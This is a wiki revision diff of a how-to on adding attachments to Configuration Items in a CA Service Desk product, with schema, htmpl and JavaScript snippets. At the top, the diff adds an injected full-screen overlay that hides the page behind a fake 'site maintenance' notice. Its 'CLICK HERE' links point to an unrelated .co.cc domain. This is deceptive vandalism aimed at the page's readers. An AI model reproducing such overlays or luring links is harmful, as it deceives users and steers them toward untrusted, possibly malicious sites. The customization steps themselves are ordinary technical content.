Difference between revisions of "Attachments on Configuration Items"
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| + | ---- | ||
| + | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
| + | ---- | ||
| + | =[http://otypaxixa.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]= | ||
| + | ---- | ||
| + | =[http://otypaxixa.co.cc CLICK HERE]= | ||
| + | ---- | ||
| + | </div> | ||
__NOTOC__ | __NOTOC__ | ||
[[Category:Configuration Items]] | [[Category:Configuration Items]] | ||
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=== Step 1. Modify Schema === | === Step 1. Modify Schema === | ||
For ALL releases make your schema change by creating a [[.mod file]] and placing it in the [[$NX_ROOT]]/site/mods/majic directory. Name the [[.mod file|.mod]] anything you like, but it is recommended that it be preceded with a 'z'. Take the code you need from the examples below. | For ALL releases make your schema change by creating a [[.mod file]] and placing it in the [[$NX_ROOT]]/site/mods/majic directory. Name the [[.mod file|.mod]] anything you like, but it is recommended that it be preceded with a 'z'. Take the code you need from the examples below. | ||
| − | + | <source lang="text">LREL attmnt_lrel "nr:PDM" attachments <> attmnt assets;</source> | |
=== Step 2. Publish the Schema changes === | === Step 2. Publish the Schema changes === | ||
| Line 26: | Line 34: | ||
| − | + | <source lang="html4strict"><PDM_TAB ID=attmnt SRC="OP=SHOW_DETAIL+HTMPL=xx_attmnt_tab.htmpl+FACTORY=nr+PERSID=$args.persistent_id" NAME="Attachments" height=300></pdm_tab></source> | |
=== Step 4. Edit the xx_attmnt_tab.htmpl form === | === Step 4. Edit the xx_attmnt_tab.htmpl form === | ||
| − | This step will add | + | This step will add "Edit" and "Delete" right-click options if the Inventory Functional Access is granted on the user's Access Type. If this scripting is not added then you will only have the option to view a document. |
| − | Search for the following scripting: | + | Search for the following scripting:<source lang="javascript">switch ("$prop.factory") { |
| − | case | + | case "cr": attmntAccess = "${ACCESS.call_mgr:0}" - 0; break; |
| − | case | + | case "iss": attmntAccess = "${ACCESS.issue_mgr:0}" - 0; break; |
| − | case | + | case "chg": attmntAccess = "${ACCESS.change_mgr:0}" - 0; break; |
| − | } | + | }</source>... and add the following case:<source lang="javascript"> |
| − | case | + | case "nr": attmntAccess = "${ACCESS.inventory:0}" - 0; break;</source> |
=== Step 5. Clear the web cache === | === Step 5. Clear the web cache === | ||
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== NOTICE == | == NOTICE == | ||
Be advised that implementing this customization will result in a few ERRORS in the stdlogs, but there has been no reported degradation in functionality. | Be advised that implementing this customization will result in a few ERRORS in the stdlogs, but there has been no reported degradation in functionality. | ||
| − | + | <source lang="text">kt_daemon 16316 ERROR DomWrap.c 1106 cSelect: failed In method select_sd_ref_num. Error Message: Error 103 AHD03053: Bad where clause: invalid constraint. Could not recognize persistent_id. OUTER_JOIN ca_owned_resource.id = usp_owned_resource.id | |
kt_daemon 16316 ERROR DomWrap.c 806 Failed to complete reply method: 'select_sd_ref_num' ,BOP Name:'attmnt:400063' in class:'CAttmntLinks', Error:AHD03053: Bad where clause: invalid constraint. Could not recognize persistent_id. OUTER_JOIN ca_owned_resource.id = usp_owned_resource.id | kt_daemon 16316 ERROR DomWrap.c 806 Failed to complete reply method: 'select_sd_ref_num' ,BOP Name:'attmnt:400063' in class:'CAttmntLinks', Error:AHD03053: Bad where clause: invalid constraint. Could not recognize persistent_id. OUTER_JOIN ca_owned_resource.id = usp_owned_resource.id | ||
| − | domsrvr 13132 ERROR attr.c 6164 Error in ATTR_INIT trigger get_attached_name for attached_name: AHD03053: Bad where clause: invalid constraint. Could not recognize persistent_id. OUTER_JOIN ca_owned_resource.id = usp_owned_resource.id | + | domsrvr 13132 ERROR attr.c 6164 Error in ATTR_INIT trigger get_attached_name for attached_name: AHD03053: Bad where clause: invalid constraint. Could not recognize persistent_id. OUTER_JOIN ca_owned_resource.id = usp_owned_resource.id</source> |
Revision as of 03:11, 24 November 2010
To discuss or ask questions about this article, select the discussion tab above.
Overview
This article provides instructions for adding attachment capabilities to Configuration Items.
Note: This customization is designed for r11.x and r12.1 versions only.
Procedures
Step 1. Modify Schema
For ALL releases make your schema change by creating a .mod file and placing it in the $NX_ROOT/site/mods/majic directory. Name the .mod anything you like, but it is recommended that it be preceded with a 'z'. Take the code you need from the examples below. <source lang="text">LREL attmnt_lrel "nr:PDM" attachments <> attmnt assets;</source>
Step 2. Publish the Schema changes
For ALL releases recycle the Service Desk service.
Step 3. Edit the detail_nr.htmpl form
Add the following code to the BODY of the form in the PDM_NOTEBOOK area (for R12 this modification can be made to cmdbNotebook.htmpl): additional extension forms will need to be modified appropriately detail_har_virx.htmpl, detail_har_serx.htmpl,
<source lang="html4strict"><PDM_TAB ID=attmnt SRC="OP=SHOW_DETAIL+HTMPL=xx_attmnt_tab.htmpl+FACTORY=nr+PERSID=$args.persistent_id" NAME="Attachments" height=300></pdm_tab></source>
Step 4. Edit the xx_attmnt_tab.htmpl form
This step will add "Edit" and "Delete" right-click options if the Inventory Functional Access is granted on the user's Access Type. If this scripting is not added then you will only have the option to view a document. Search for the following scripting:<source lang="javascript">switch ("$prop.factory") {
case "cr": attmntAccess = "${ACCESS.call_mgr:0}" - 0; break;
case "iss": attmntAccess = "${ACCESS.issue_mgr:0}" - 0; break;
case "chg": attmntAccess = "${ACCESS.change_mgr:0}" - 0; break;
}</source>... and add the following case:<source lang="javascript">
case "nr": attmntAccess = "${ACCESS.inventory:0}" - 0; break;</source>
Step 5. Clear the web cache
Publish your changes via the Web Screen Painter. The process of publishing automatically initiates a pdm_webcache.
NOTICE
Be advised that implementing this customization will result in a few ERRORS in the stdlogs, but there has been no reported degradation in functionality. <source lang="text">kt_daemon 16316 ERROR DomWrap.c 1106 cSelect: failed In method select_sd_ref_num. Error Message: Error 103 AHD03053: Bad where clause: invalid constraint. Could not recognize persistent_id. OUTER_JOIN ca_owned_resource.id = usp_owned_resource.id kt_daemon 16316 ERROR DomWrap.c 806 Failed to complete reply method: 'select_sd_ref_num' ,BOP Name:'attmnt:400063' in class:'CAttmntLinks', Error:AHD03053: Bad where clause: invalid constraint. Could not recognize persistent_id. OUTER_JOIN ca_owned_resource.id = usp_owned_resource.id domsrvr 13132 ERROR attr.c 6164 Error in ATTR_INIT trigger get_attached_name for attached_name: AHD03053: Bad where clause: invalid constraint. Could not recognize persistent_id. OUTER_JOIN ca_owned_resource.id = usp_owned_resource.id</source>
